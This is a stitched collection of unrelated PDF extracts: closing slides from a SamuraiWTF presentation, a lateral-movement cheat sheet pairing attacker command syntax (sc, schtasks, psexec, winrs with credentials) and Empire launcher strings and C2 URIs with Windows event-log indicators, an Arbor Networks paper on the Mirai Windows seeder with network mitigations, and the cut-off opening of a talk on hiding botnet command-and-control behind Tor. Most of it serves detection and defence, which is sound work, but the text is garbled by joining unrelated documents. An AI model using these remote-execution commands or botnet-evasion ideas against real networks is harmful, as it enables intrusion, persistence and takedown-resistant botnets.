Zenmap 27 Copyright 2009 InGuardians, Inc. Future plans for SamuraiWTF •  Move to Kubuntu •  Move toward the Ubuntu build process •  Move all software and configurations to Debian packages –  Software upgrades between official releases –  Easier for users to customize the distro –  Provides access to WTF tools in all Ubuntu installs –  Facilitate collaboration within dev team 28 Copyright 2009 InGuardians, Inc. How Can You Help?! •  Project Links – http://laudanum.inguardians.com/ – http://yokoso.inguardians.com/ – http://samurai.inguardians.com/ •  Join one of the projects. •  If you like the tools (we think you will), pass the word. 29 Copyright 2009 InGuardians, Inc. Thanks! •  Kevin Johnson – [email protected] – Twitter @secureideas •  Justin Searle – [email protected] – Twitter @meeas •  Frank DiMaggio – [email protected] – Twitter @hanovrfst
pdf
Lateral Movement Remote Desktop Protocol Description RDPis routinely used by your administrators, help desk, or others it provides an attractive attack vector for adversaries who are trying to blend in with standard network activity. Once on a client system, the attacker can simply leverage the built in Microsoft tools to allow for remote access to other systems using RDP and valid credentials An attacker can use the Microsoft Remote Desktop Connection (mstsc.exe) tool to access a victim system. While you hopefully are not exposing the default port 3389 to the Internet, port forwarding set up as a pivot on other, Internet accessible systems does make this possible from either external or internal hosts Indicators Windows Event logs 4624 The logon event will show either a Type 10 or Type 3 when RDP is used, depending on the versions of Windows used and their specific configuration 4778 This event is logged when a session is reconnected to a Windows station. This can occur locally when the user context is switched via fast user switching. It can also occur when a session is reconnected over RDP. To differentiate between RDP versus local session switching, look at the Session Name field within the event description. If local, the field will contain Console, and if remote, it will begin with RDP. For RDP sessions, the remote host information will be in the Network Information section of the event description 4779 This event is logged when a session is disconnected. This can occur locally when the user context is switched via fast user switching. It can also occur when a session is reconnected over RDP. A full logoff from an RDP session is logged with Event ID 4637 or 4647 as mentioned earlier. To differentiate between RDP versus local session switching, look at the Session Name field within the event description. If local, the field will contain Console, and if remote, it will begin with RDP. For RDP sessions, the remote host information will be in the Network Information section of the event description 21, 22 or 25 On the machine receiving the connection, additional RDP specific logs may be found. The %SystemRoot%\System32\winevt\Logs\Microsoft- Windows-TerminalServicesLocalSessionManager% 4Operational log may contain the IP address and logon user name of the originating computer Adversaries usually use tools such as plink.exe to forward RDP traffic over SSH with a command line containing 127.0.0.1:3389.  This helps adversaries bypass firewalls restricting port 3389 and prevent traffic inspection while being able to use RDP. This can also work with numerous additional protocols SC (Service Controller) Description The Service Controller command, sc, is able to create, stop, and start services. Services are processes that run outside of the context of a logged-on user, allowing them to start automatically at system boot time. By running a process as a service, the malicious actor can ensure persistence of the service on the system, including allowing for automating restarting or other actions should the process stop execution. Once again, the sc command allows for these actions to be taken on the local system or on remote systems with appropriate credentials Syntax To establish an initial, authenticated connection to a remote system net use \\[targetIP] [password] /u:[Admin_User To create a service on the remote system sc \\[targetIP] create [svcname] binpath= [executable] Indicators Win Event Logs 7045 creation of a new service on the system, including the path to the executable service file name. This event, recorded in the System event log, can be useful in identifying the creation of malicious services on victim systems Registry HKLM\SYSTEM\CurrentControlSet\Services When a service is created, the path to its associated executable is stored in the registry. The ImagePath key will specify the location of the associated executable on disk for each service Any use of authenticated credentials to modify services on remote systems will also leave the associated account logon and logon events Windows services WinRM (Windows Remote Management) Description Allows for commands to be sent to remote Windows computers over HTTP or HTTPS by leveraging the Web Services for Management protocol. WinRM runs as a service under the Network Service account, and as native Microsoft components, use of these tools will bypass many whitelisting solutions providing another attractive option for attackers Attack vectors winrs Use of the Windows Remote Services command, winrs, allows for execution of arbitrary commands on remote systems Syntax winrs -r:http://target_host “cmd” Indicators Network Unusual activity on TCP port 5985 for HTTP traffic and TCP port 5986 for HTTPS Windows Event Log 6 When a connection is initiated using WinRM. This event will include the remote destination to which the connection was attempted. Therefore, the appearance of Event ID 6 onmlocal workstations or other computers where administrative tasks are not frequently done may be suspicious 91 will be logged on the system where the connection is received. This log will include the user field which shows the account used to authenticate the connection. Once again, the standard account logon and logon events can also be leveraged to help fill in additional gaps regarding the systems, accounts, and times involved in such activity WMI (Windows Management Instrumentation) Description Windows Management Instrumentation (WMI) is a Microsoft-provided platform for simplifying administrative tasks. Use of WMI requires that authenticated access be made to the target system, so account logon and logon events may provide a useful indicator of suspicious activity. WMIC does not encrypt its network traffic when run against a remote system, making network security monitoring a viable approach to detect malicious use of WMIC Indicators %SystemRoot%\wbem\Repository An offline image, WMI subscriptions are stored in the WMI database, located here, which can be parsed using the open-source python-cim tool Windows DCOM  Description DCOM may be used for lateral movement: using users with high privileges, and attacker can remotely obtain shellcode execution through Office applications as well as other Windows objects that contain insecure methods, or execute macros in existing documents  DDE execution can be directly invoked through a COM created instance of a Microsoft Office application, bypassing the need for a malicious document Indicators An executed command is run as a child process of mmc.exe An executed command is run as a child process of Excel Object creation is handled by the DCOMLaunch service. This service is implemented in the rpcss.dll library and can be identified with the "C:\WINDOWS\system32\ svchost.exe -k DcomLaunch" command line.  Unlike most other methods, ShellWindows does not create a process. Instead, it activates the class instance inside of an existing explorer.exe process, which executes child processes quite regularly. To communicate, the host explorer.exe opens a listening socket on a DCOM port, which should clearly flag this technique. An explorer.exe process with a listening socket should raise your suspicion regardless of this method. An addon is run as a direct child process of Visio. VBE7.dll and ScrRun.dll are loaded into the Visio process A command is run as a direct child process of Outlook An Excel process loads an unknown DLL A Word process loads an unknown library with the WLL extension The ScriptControl object is implemented in msscript. ocx and is seldom used, and an instance of Outlook which loads this legitimately is an extremely rare phenomenon. Additionally, either jscript.dll or vbscript. dll are loaded to run the script itself Registry The VBA Engine model in Office is normally inaccesible programmaticaly and needs to be enabled through the " Trust Access to Visual Basic Project" option in the properties menu of every application This can also be done via the "HKCU\Software\ Microsoft\Office\<office version>\<office application name>\Security\accessVBOM" value in the registry for every relevant Office application. Setting these values to 1 remotely (via WMI, for example) allows for the injection and execution of VBA macros into Excel, Word, PowerPoint and Access without supplying a payload carrying document file first at/schtasks Description Malicious attackers can leverage the built-in Windows at and schtasks commands to both expand their influence and maintain persistence within a victim environment Syntax at [\\targetIP] [HH:MM][A|P] [command] schtasks /create /tn [taskname] /s [targetIP] /u [user] / p [password] /sc [frequency] /st [starttime] /sd [ startdate] /tr [command] Indicators On the system where the task is scheduled, additional details can be found in the %SystemRoot%\System32\Tasks folder Each task created with schtasks creates an XML file with the same name as the task in this location. Within these XML files a number of fields are useful. Under the “RegistrationInfo” section, the “Author” field shows the account used to schedule the task and the “Date” field shows the local system date and time when the task was registered. In the “Principals” section, the “UserID” field shows the user context under which the task will execute. The Triggers section provides details on when the task will run and the Exec field under the Actions section details what will be run. PsExec Description Administration tool that leverages SMB to remotely execute commands on other systems. While not a native Windows binary, it is provided by Sysinternals, so finding it running inside a network may not be unusual. The command allows remote execution of programs over an encrypted network connection when provided with the necessary credentials. If the executable to be run is not already on the target system, it can be copied by psexec to the target and then executed Syntax psexec \\[targetIP] [-d] [-e] [-u user] [–p password] [ command] WARNING ! By default, the Sysinternals version of psexec will also install itself as a service with a service name of PSEXESVC and an associated executable of psexesvc. exe written to disk Metasploit psexec module Requires a valid credential to access the remote system, but can accept either a cleartext password or a password hash representation to facilitate pass-the- hash attacks. In the absence of a valid credential, the module will attempt to logon as Guest Similar services CSExec PAExec RemCom rcmd xcmd Impacket wmiexe Indicators Windows Event Log 4624 Type 2 If the attacker explicitly provides a different credential to psexec with the -u switch, Windows treats this as an interactive logon on the remote system Type 3 Since valid credentials are used, the account logon and logon events discussed previously also apply to this attack vector. If the attacker uses the currently logged- on user’s credentials, Windows will record the access on the remote system with event "Network logon" 4648 On the system initiating the connection, when the -u switch is used, an event 4648 is recorded, showing the account initiating the use of the credential in the Subject section, the credential provided with the -u switch in the Account Whose Credentials Were Used section, and the remote system targeted in the Target Server section 4697 Theexecutable may be uploaded with a random or explicitly provided name, or the Service File Name maybe PowerShell run with a long, Base64-encoded command. If enabled, this event will also be logged in the Security event log recording the service being installed on the system 7045 (New service was installed) The creation of the service generates this event in the System event log, complete with the name of the service created (Service Name field) and the executable that was used to create it ( Service File Name field) 7036 (Service was started/stopped) When the session ends, you may see this event in the System event log showing the PSEXESVC service entering a stopped state Registry NTUSER.DAT\Software\Sysinternals\PsExec Where it sets the EulaAccepted value to 1. This key is named PsExec even if the attacker named the tool something else in an attempt to conceal its execution Could be easy renaming of PsExec to ps64.exe. Instead of focusing on the process name, look for the command parameters and the parent/child process association Windows Admin Shares Windows systems have hidden network shares that are accessible only to administrators (for example C$, ADMIN$, and IPC$) and provide the ability for remote file copy and other administrative functions Some telemetry patterns of this type of behavior include the use of cmd.exe with the names of shares such as localhost\ADMIN$ or 127.0.0.1\ADMIN$ References Andrea Fortuna https://www.andreafortuna.org Applied Incident Response https://www.appliedincidentresponse.com/resources/ Sans Institute https://www.sans.org/reading-room/whitepapers Wilbur Security https://www.wilbursecurity.com/ MITRE ATT&CK https://attack.mitre.org/tactics/TA0008/ Red Canary https://redcanary.com/blog/ Cybereason https://www.cybereason.com/blog License Lateral Movement is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. https://creativecommons.org/licenses/by-nc-sa/4.0/ 13.Junio.2020 Definitions An attacker will gain an initial foothold and start to pivot across systems looking to gain higher access in search for their ultimate objectives Lateral movement refers to the various techniques attackers use to progressively spread through a network as they search for key assets and data, and usually is the second step of an cyberattack. Powershell Description Any action that can be taken on a Windows system can be taken through PowerShell, without the need for additional malware to be installed. Any action that can be taken on a Windows system can be taken through PowerShell, without the need for additional malware to be installed WARNING ! Is one of the most useful tools in the administrator’s arsenal for daily administrative tasks as well as baselining and incident handling. Just as attackers have scripts like Empire to help do their jobs, so to do defenders have frameworks like Kansa to help do theirs Security measurements GP path WARNING ! These logs can provide a wealth of information concerning the use of PowerShell on the systems. However, be sure to test and tune the audit facilities to strike a balance between visibility and load before deploying such changes in production Configuration > Policies > Administrative Templates > Windows Components > Windows PowerShell Module logging - Logs pipeline execution events; - Logs to event logs. Script Block Logging - Captures de-obfuscated commands sent to PowerShell; - Captures the commands only, not the resulting output; - Logs to event logs. Transcription - Captures PowerShell input and output; - Will not capture output of outside programs that are run, only PowerShell; Windows Event Log %SystemRoot%\System32\winevt\ Logs\Microsoft-Windows-PowerShell%4Operational 4103 Includes the user context used to run the commands. Hostname field will show “Console” if executed locally or will show if run from a remote system. Can correlate account logon and logon events to determine further information about the source of a remote connection 4104 Shows script block logging entries. Logs full details of each block only on first use to conserve space. Will show as a “Warning” level event if Microsoft deems the activity “Suspicious.” Find a PowerShell history file per user %HOMEPATH%\AppData\Roaming\ Microsoft\Windows\PowerShell\PSReadLine\ ConsoleHost_history.txt WARNING ! Confirm the location on a system by running the Get- PSReadLineOption cmdlet and checking the HistorySavePath The MaximumHistoryCount will show the number of lines that will be stored in the consoleHost_history.txt file before it starts overwriting older entries (the default is 4096) PowerShell remoting uses WinRM to establish connections to remote machines. As a result, the same detection methods used for WinRM also apply to PowerShell Remoting. Note that regardless of whether HTTP or HTTPS is used in the WinRM transfer, PowerShell encrypts all remoting commands with AES- 256 after the initial authentication Network activity Iimplement outbound restrictions to keep systems that don’t need to initiate outbound PowerShell Remoting sessions from initiating outbound connections on TCP ports 5985 and 5986 Utilizing common ports (TCP 80, 443, etc.), encrypted communications, making infrequent connections, and requesting benign-looking URI’s Por instance, PS Empire HTTP Listeners are configured to continuously request three specific URI’s. While these URI’s can be a helpful network signature, attackers can easily change the Empire C2 URI’s: /login/process.php /admin/get.php /news.php Encrypted data sent over on a (typically) unencrypted port (eg. 80, 23). The following launcher string, “powershell -noP -sta -w 1 -enc” is present by default in Empire HTTP listeners. While the launcher string can be easily changed, it is commonly unaltered by attackers Credential Theft Description Once a client system is compromised, attackers will set to work to collect credentials from that machine WARNING ! The credentials do not need to be full username and cleartext password pairs. Attackers can steal hashed representations of passwords, load them into memory, and allow Windows passthrough authentication to handle authentication to other systems as an arbitrary user through pass- the-hash attacks. Capture credentials such as user names and passwords from client systems or off the wire when the client returns to the corporate network Indicators Windows event logs Domain Controllers WinEventIDs 4768 The issuance of a Ticket Granting Ticket (TGT) shows that a particular user account was authenticated by the domain controller 4769 A service ticket was issued to a particular user account for a specified resource. This event will show the source IP of the system that made the request, the user account used, and the service to be accessed. These events provide a useful source of evidence as they track authenticated user access across the network 4776 While less common in a domain environment, NTLM may still be used for authentication. Additionally, many attack tools downgrade authentication attempts to NTLM when authenticating. While these types of authentication do frequently occur with legitimate traffic, such as some authentication requests originating by IP address rather than computer name, their presence may also indicate a non-standard tool being used to authenticate 4720 If a new account is created, for a domain account or on the local system for a local account Workstations WinEventIDs 4624 A logon to a system has occurred. Type 2 indicates an interactive (local) logon, while a Type 3 indicates a remote or network logon 4625 A failed logon attempt 4672 This Event ID is recorded when certain privileges associated with elevated or administrator access are granted to a logon. As with all logon events, the event log will be generated by the system being accessed 4776 An NTLM-based authentication has occurred. When found on a non-domain controller this indicates the use of a local user account. Since most domains are designed to use domain rather than local user accounts, the presence of this Event ID on member servers or client workstations is frequently suspicious 4634/4647 User logoff is recorded by Event ID 4634 or Event ID 4647. The lack of an event showing a logoff should not be considered overly suspicious, as Windows is inconsistent in logging event 4634 in many cases 5140 A network share object was accessed, will show when a shared folder or other shared object is accessed. The event entry provides the account name and source address of the account that accessed the object Registry Registering the file name for the next stage malware under UserInitMprLogonScript HKCU\Environment\UserInitMprLogonScript
pdf
! ! Attacks from Within: Windows Spreads Mirai to Enterprise IoT - Draft Steinthor Bjarnason Arbor Networks, ASERT [email protected] Jason Jones Arbor Networks, ASERT [email protected] Abstract When the Mirai IoT Bot surfaced in September 2016, it received a lot of publicity, not only because of the large-scale attacks it launched against highly visible targets, but also due to the large scale compromise of IoT devices. This allowed the attackers to subsume 100,000’s of vulnerable, poorly secured IoT devices into DDoS bots, gaining access to resources that could launch powerful DDoS attacks. However, as the original Mirai bot code scanned public Internet addresses to find new devices to infect, in most cases it was unable to detect and compromise IoT devices provisioned behind firewalls or NAT devices. As most firewalls stop these kind of scanning attacks, the (potential millions of) IoT devices behind firewalls were safe against detection and compromise. Or so most people thought… 1 Enter the Mirai Windows Seeder ! In early February of 2017, a multi-stage Windows Trojan containing code to scan for vulnerable IoT devices and inject them with the Mirai bot code was detected in the wild. This weaponization of a Windows Trojan to deliver IoT bot code reveals an evolution in the threat landscape that most organizations are completely unprepared to deal with: DDoS attacks from within. Windows machines infected by the Seeder will now actively scan for IoT devices whenever they establish a network connection. For example, if a laptop gets compromised by the Windows Mirai Seeder on a public wireless network, it will start scanning for vulnerable IoT devices as soon as it makes a network connection. This includes connecting to internal corporate networks via VPN, connecting to Wireless networks, or by using a physical network connection. This is somewhat related to the old paradigm of attacking medieval castles. The castle walls (analogy: modern firewalls) were usually very effective at keeping the enemy outside the walls and stopping common attacks. However, they were useless if you could convince someone on the inside into becoming a traitor or by planting a spy inside the walls. If there were no defenses inside the castle, the traitor/spy could now open the castle gates (disable the firewall), attack critical resources from the inside or simply burn down the entire castle. In medieval times, treachery was one of the most common cause of castle defenses being breached. Any IoT device which gets compromised (scanners, printers, vending machines, light bulbs) will now be under the control of the threat actor, allowing him to launch DDoS attacks from inside the Enterprise against external and internal targets. 2 The Internals of a Traitor: The Mirai Windows Seeder ! The Windows Mirai Seeder appears to be a refurbished version of a Windows Trojan which was discovered in the wild in early 2016. This Trojan was designed to attack CPE routers by brute forcing administrative passwords and then modifying DNS settings such that any devices on the inside would receive DNS replies from DNS servers under the attackers control. Both the new Seeder and the older Trojan use brute force login attacks against Microsoft SQL servers, My SQL server and RDP with the goal of gaining administrative privileges on the target computer. It then proceeds to inject the malicious binary into the target computer, gaining full administrative control of the computer and launching the scanning process. Post compromise, the Seeder will connect to its hardcoded Command & Control server (C&C) and download various files. This includes the Mirai bot code, scanning parameters, and information on the Mirai C&C servers. The scanning process of the Windows Mirai Seeder has been modified from the original Trojan scanning process such that it now uses the same ! ! scanning algorithm that the Mirai bot code uses. The Seeder will scan the IP ranges which were downloaded from the C&C and will attempt to detect vulnerable IoT devices on TCP ports 22 (SSH), 23 (Telnet), 5555 and 7547 (TR-069 SOAP management). If a vulnerable device is detected, it will try to brute force the Telnet and SSH usernames and passwords using a dictionary downloaded from the C&C. If the brute force login is successful, the Seeder will proceed to upload the Mirai bot code to the device, turning it into a Mirai bot which will then act in the same way as traditional Mirai bots1. 3 The Nefarious Traitor – Turning Innocent IoT Devices into Zombies ! Almost all networks, from the small SoHo to the largest Enterprise have a (large) number of IoT devices deployed on their internal networks. This can be anything from the smart TV in your living room to intelligent network enabled thermostats in a large Enterprise. These devices are, in most cases, protected by network firewalls making them unreachable by scans from malicious devices on the open Internet. The Mirai Windows Seeder is a game changer because compromised Windows computers can now scan for vulnerable IoT devices whenever they connect to the internal network via VPN, Wireless or physical connections. Unless proper care is taken to segment the internal network, this will make any device with an IP stack a potential target for compromise. Currently the Mirai bot infects devices like Web cameras and DVR recorders but it can easily be modified to attack other devices like printers, scanners, HVAC controllers and numerous other devices. Any device subsumed will start scanning for other vulnerable IoT devices and will proceed to infect those if detected. There have already been reports of infected soda vending machines and light bulbs being used to launch DDoS attacks, confirming that the attackers are constantly finding new vulnerable devices to infect. Coming back to the castle scenario, a single traitor can now rapidly subsume the innocent population of the castle into zombies, commanding them to attack the castle defenses or other internal or external assets. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 1!https://www.arbornetworks.com/blog/asert/mirai- iot-botnet-description-ddos-attack-mitigation/. ! 4 The DDoS Extortion Attack ! A clever attacker could use the multi-stage Trojan to get inside the network, subsuming vulnerable IoT devices and computers on the internal network into his botnet and then scan the internal network to identify vulnerable network devices and critical services. The attacker could then use this information to direct the bots on the inside to launch a devastating short-lived attack against the network itself and against critical services from the inside of the network, potentially disrupting the entire network. This would provide a proof-of-concept attack which proves to the victim that the attacker is now in control and continued availability of the service is based on the victim paying the attacker an extortion fee. If the network hasn’t been designed to withstand these kind of internal attacks, it will be a very time consuming and complex task to redesign and secure the network. Basically, the entire network security posture would have to be redone from scratch, beginning by shutting down all communication on all links, including any Internet connections. If a network which hasn’t been designed to withstand these kinds of attacks comes under attack, it will be very complex and time consuming to resume normal operations. Re-architecting the network is not something you want to do while under attack. 5 The Impact of Infected IoT Devices on Your Network ! If a device infected by the Mirai Windows Seeder is active on an internal network, the following will be observed: • There will be high volumes of scanning activity on internal networks as the Seeder searches for vulnerable Windows and IoT devices. As more devices get infected, the scanning activity will increase, potentially causing serious issues and outages with network devices like firewalls, switches and other stateful devices. These kinds of outages have repeatedly happened in the wild, both during the NIMDA, Code Red and Slammer outbreaks in 2001 and also recently during large scale Mirai infections at large European Internet Service Providers. • Infected devices will contact their C&C server and will be subsequently used to launch DDoS ! ! attacks. These attacks will result in high volumes of DDoS attack traffic which can potentially fill Internet and WAN links, resulting in loss of network connectivity. In addition, network based services like IP based voice services will be impacted, potentially resulting in IP phone service outages. • Stateful devices like Firewalls and load balancers will also be at risk as they use state tracking to control traffic flows. These state tables will rapidly be exhausted due to the sheer traffic volume generated by the DDoS attacks, resulting in these devices no longer being able to pass network traffic. Firewalls and load-balancers are also often deployed in series and in front of each other. If one goes down, all network traffic will stop. • When a device gets compromised, it will be under full control of the threat actor. It can now be used to perform reconnaissance on internal networks, launch DDoS attacks against internal targets, attack database servers and do whatever nefarious activity the threat actor is interested in performing. This has the potential to turn your network into a virtual battleground where your (previously innocent) IoT devices actively attack external and internal targets, consuming valuable network resources including outgoing network bandwidth and capacity. Additionally, collateral damage in the form of network devices failing due to the sheer scanning and attack volume can occur. 6 Why Most Network Architectures Fail at Stopping this kind of Threat ! Most network security architectures are designed for defending against external threats, it is very uncommon to see network security designs that treat both insiders and outsiders as potential threats. This allows a well-equipped spy to enter the network using multi-stage Trojans which, after infecting the victim’s computers, launch a second stage attack when the infected computers are connected to the often-unsecured internal network. 7 Network Impact of Bot Scanning ! The Windows Trojan, has two main purposes. It scans for vulnerable Windows computers to propagate a copy of itself and it will also scan for vulnerable IoT devices to convert into bots. In addition, infected IoT devices will also launch their own scanning process to find additional IoT devices to attack. Potentially the attacker could instruct the Trojan to scan for specific services or subnets, mapping out the internal network to find critical services. This kind of scanning hasn’t been seen in the wild yet, but several other Trojans already have this capability. All this scanning will result in: • Large volumes of ARP (IPv4) / Neighbor discovery (IPv6) requests • A flood of small scanning packets on network segments with infected devices. Whenever a Layer 2 network switch receives an ARP packet for a specific IP, it will broadcast it out on all ports associated with the same network segment (physical/VLAN) as the one which the packet was received on. If there is a device with that IP address on the network segment, it will reply to the originating device, thereby providing it with its L2 MAC address. If there are multiple devices all scanning at the same time, the network switch might get overloaded by the flood of ARP packets, prohibiting it from performing its normal duties. Basically, it stops forwarding packets and the users won’t be able to reach their services. This happened late 2016 at a large Internet Services Provider during a large scale Mirai infection. In addition, this high scanning activity can also impact other devices on the same network segment, also resulting in high CPU loads and loss of functionality. 8 Network Impact of Internally Launched DDoS Attacks ! When vulnerable IoT devices have been subsumed into the attacker’s botnet, they will connect to their Command and Control (C&C) server and await instructions. The botmaster can now instruct the bots to launch various types DDoS attacks. For example, the Miari bot is capable of launching the following attacks: • UDP/ICMP/TCP packet flooding • Reflection attacks using UDP packets with spoofed source IP addresses • Application level attacks (HTTP/SIP attacks). • Pseudo random DNS label prefix attacks against DNS servers. The pseudo random DNS label prefix attack is designed to cause resource starvation of DNS servers. If this attack would be launched against an internal recursive DNS server, it would quickly result in the DNS server using up all its resources. This would then impact all network services which depend on DNS resolution, including web traffic, ! ! network based services and potentially IP telephony services as those often use DNS for translating numbers to Uniform Resource Identifiers (URI). The attack traffic for the flooding and reflection attacks will be generated as quickly as possible, potentially reaching high packet-per-second rates very quickly. A typical low end IoT device using a CPU similar to what is used in the Raspberry Pi computers can generate up to 8,000 packets per second which is enough to fill a 100Mbit link with large packets. A more powerful IoT device, for example an Internet connected HD network camera, can easily saturate a Gigabit Ethernet link with traffic. A DDoS attack launched using internally based IoT devices could therefore potentially result in a flood of packets reaching Gigabit throughput. This malicious traffic will have to traverse the internal network on its way to its target on the Internet, sometimes traversing internal WAN links and traversing devices which are in many cases not capable of forwarding such high volumes of traffic. This could then lead to network outages, both on internal WAN/LAN links but also on external links due to the high traffic volume. In addition, if the attack would use the infected IoT devices to launch DDoS attacks against internal targets, the impact could potentially be very high as most Enterprises do not protect internal resources against high-volume DDoS attacks originating from the inside. 9 How to Mitigate this New Threat ! Defending against DDoS attacks from the internet is not trivial, especially if the network defenses are not secured properly to withstand such attacks. A well architected multi-layer design using Intelligent DDoS Mitigation Systems (IDMS) is capable of withstanding almost any kind of DDoS attack. However, such defenses are, in almost all cases, focused on defending against external attacks, not from attacks originating from the inside. This new threat vector means that the network security designer will have to design the network to be resistant against attacks from both the inside and the outside. Also, care has to be taken to harden the network against collateral damage from scanning activities and the sheer volume of potential attack traffic traversing the network. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 2!http://bit.ly/2kUnZ1Y! 3!http://bit.ly/2mhJP0m! Interestingly, most Internet Service Providers have been doing this successfully for more than 20 years and there is considerable amount of Security Best Current Practices available which can help the network security administrator to properly secure his network. Among those are: • Cisco Systems (equivalent functionality is provided in network infrastructure devices from other vendors): o Service Provider Security Best practices2 o Router Security Strategies3 • Arbor Networks: o Collection of security BCPs4 • NANOG: o An Architecture for Automatically Detecting, Isolating, and Cleaning Infected Hosts5 The information available is very comprehensive so a summary of the main phases for dealing with attacks are listed below: 1. Preparation: Prepare and harden the network against attack 2. Identification: Identify that an attack is taking place 3. Classification: Classify the attack 4. Traceback: Where is the attack coming from 5. Reaction: Use the best tool based on the information gathered from the Identification, Classification and Traceback phases to mitigate the attack 6. Post-mortem: Learn from what happened, improve defenses against future attacks. One of the most important aspects of successful network defense are visibility and understanding what is going on. Without enough information, any kind of reaction has the potential to cause more harm than good. A well-known quote from Sun Tzu explains this very well: “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.” The most important priority during attack is to keep the network up and running. If the network is down, no traffic will be able to traverse the network. 4!https://app.box.com/s/4h2l6f4m8is6jnwk28cg ! 5!https://www.nanog.org/meetings/abstract?id=662 ! ! ! A brief overview of the most relevant security tasks is provided in the following sections. 10 Mitigating Collateral Damage from Scanning Activity ! As explained earlier, a network of compromised IoT devices and Trojans will see high levels of scanning activity. The scanning itself is not deliberately malicious but due to the high scanning volume, it can result in collateral damage on network devices like switches, routers and firewalls. To mitigating the impact of scanning activity, the following tasks should be implemented: • Segment the network such that devices with similar services/control are kept in their own segments. • Implement IP source guard and DHCP snooping to block devices from masquerading as other hosts using spoofed source IP addresses. • Only allow host devices and servers to communicate with the default gateway using Private VLANs thereby blocking the ARP packets from being seen by other devices on the same network segment. • Implement “storm control” on the network devices to stop floods of packets. • Implement the appropriate Control Plane Policing (CoPP) policies on network devices. If done properly, scanning activity with not impact the network devices. • Use infrastructure Access Control Lists (iACLs) to control the flow of traffic between devices on the same network segment and between networks. Care has to be taken not to use stateful devices for this purpose as they have a tendency to collapse under heavy load, especially if a lot of small packets are being transmitted or if a DDoS attack is being launched from inside the network. 11 Blocking Trojan and Bot Infection Vectors ! Both the Trojan and the Mirai IoT bot use network scanning to detect devices to attack. The Trojan uses brute force login attacks against Microsoft SQL servers, MySQL server and RDP with the goal of gaining administrative privileges on the target computer. Both the Trojan and the Mirai IoT bots scan for devices on TCP ports 22 (SSH), 23 (Telnet), 5555 and 7547 (TR-069 SOAP management) and will use brute for login attacks against SSH and Telnet and exploiting a known vulnerability against TR-069 configuration protocol. To mitigate these activities: • Implement network segmentation to separate IoT devices and client computers into separate network segments; additionally, each group of IoT devices should be grouped into their own segments. • Implement strict control of network traffic to and from the individual network segments. These controls should be implemented using non-stateful controls like iACLs. • Only allow client devices and IoT devices to communicate with their default gateway, no inter communication should be allowed. One example of such controls is Private VLAN. • Wherever possible, separate Management traffic from data traffic and only allow management traffic originating from a specific set of IP ranges. Coming back to our castle scenario, a well-designed castle had multiple layers of castle walls, with guards monitoring external and internal activities. 12 Mitigating the Impact of DDoS Attacks Launched from the Inside ! A DDoS attack launched using IoT devices located on the inside of an enterprise network will cause very high traffic volumes, measured in both Bandwidth and packets-per-second. Even if the attack is destined towards external targets, the attack traffic will first have to traverse the internal network. This can result in network link congestion on WAN and LAN segments and high CPU load on network devices, all potentially leading to network outages. To mitigate the impact of such attacks, the following should be implemented: • Implement flow telemetry (i.e., NetFlow, IPFIX, et. al.) export, collection, and analysis, along with collection and analysis of recursive DNS queries and responses. This will provide comprehensive visibility into network traffic and will quickly detect any abnormalities and internally launched DDoS attacks. • Implement Control Plane policing on all network devices. This will allow the network devices to withstand both direct attacks against the network elements and from having attack traffic traversing impacting the network device. • Secure Routing protocols against attacks and overload. Without routing, no traffic can traverse the network. ! ! • Implement Management Plane Protection to secure and protect management traffic. Also, reserve bandwidth and capacity on WAN and LAN links for management plane traffic. If you are not able to communicate with the network elements, the attack cannot be mitigated. • Implement Unicast Reverse Path Forwarding (uRPF) policing to drop spoofed packets, this will stop all DDoS reflection attacks. • Implement Data plane protection to filter and control what traffic should be allowed through the network. Examples: o A DNS server farm should only receive DNS traffic. o Client computers should only communicate with specific services on specific ports, not each other. Data plane protection should be implemented using non-stateful controls like iACLs, stateful controls have to tendency to crash and burn during heavy attacks. • Do not trust any Quality-of-service tags made by clients, downgrade those such that management plane traffic has highest priority. • Implement Remote Triggered Blackhole (RTBH) and Source-based RTBH (sRTBH) mitigation on network devices to allow for mitigation of attacks based on destination and source address. Properly implemented, RTBH/sRTBH are capable of stopping DDoS attacks with minimal impact to network devices. • Implement Flowspec on network devices to allow for granular mitigation of attack traffic. • Implement a quarantine system to isolate compromised devices. By utilizing flow telemetry collection/analysis, recursive DNS collection/analysis, and other forms of detection and classification, make use of recursive DNS poisoning to implement a universal ‘soft’ quarantine, and both VLAN- and WiFi channel-based ‘hard’ quarantine mechanisms to isolate botted devices. 13 Summary ! The Windows Mirai Seeder is a simple delivery vehicle for the more dangerous Mirai IoT bot. However, as it will infect computers inside the Internet firewall, the attack surface has expanded tremendously, allowing for the creation of even larger Mirai botnets that will consequently have the capability to cause inadvertent collateral damage and to launch DDoS attacks against internal devices. A situation which most enterprise networks are not prepared to defend against. A new threat scenario has emerged which has the potential to cause a myriad of issues in the future for networks with weak or non-existent defenses inside the corporate firewall. A network designed and secured using the security BCP’s described herein will be highly resistant to such compromise and the ramifications thereof. If one of your Windows systems becomes a traitor, it will not be able to subsume your innocent IoT population into an army of raving zombies…
pdf
Resilient Botnet Command and Control with Tor Dennis Brown July 2010 Introduction ● Who am I? ● Work for Tenable Network Solutions ● Spoken previously at Toorcon, PaulDotCom Podcast ● Run Rhode Island's Defcon Group DC401 Doesn't it suck when your botnet gets shut down? ● Lots of time lost ● Setting up servers ● Building the bot ● Crypting ● Spreading – Seeding bad Torrents takes time – Setting up drive-by downloads takes more time ● Lots of money lost ● Could be spending that time reselling, DDoSing, etc. How do botnets get taken down? ● Common methods include ● Hosting provider de-peered – Example: McColo, Troyak ● Server hosting botnet cleans up/kicks off – Public IRC servers, free web hosting ● Compromised host cleaned up/rebuilt ● DNS Revoked ● IP of C&C server banned – Because Metus pwnz and I open a port on my router at home just like the tutorial told me! Wouldn't it be great if we had a way to host these things with less risk of take down? We do. Its called Tor. I Really Like Tor ● Tor isn't “bad”, but people who use it can be ● Most people that use it aren't (I hope!) ● The capacity for devastating abuse with Tor is huge ● Anonymity is King ● How anonymous is Tor? ● Recap research about beating Tor's anonymity ● Hey, it's good enough for WikiLeaks, right? How does Tor help us hide our botnets? ● Hidden Services ● Every bot master's dream! ● Authenticated Hidden Services! ● Private Tor Networks ● Exit Node Flooding ● Come at a price ● Speed ● Ease of Control HTTP Hidden 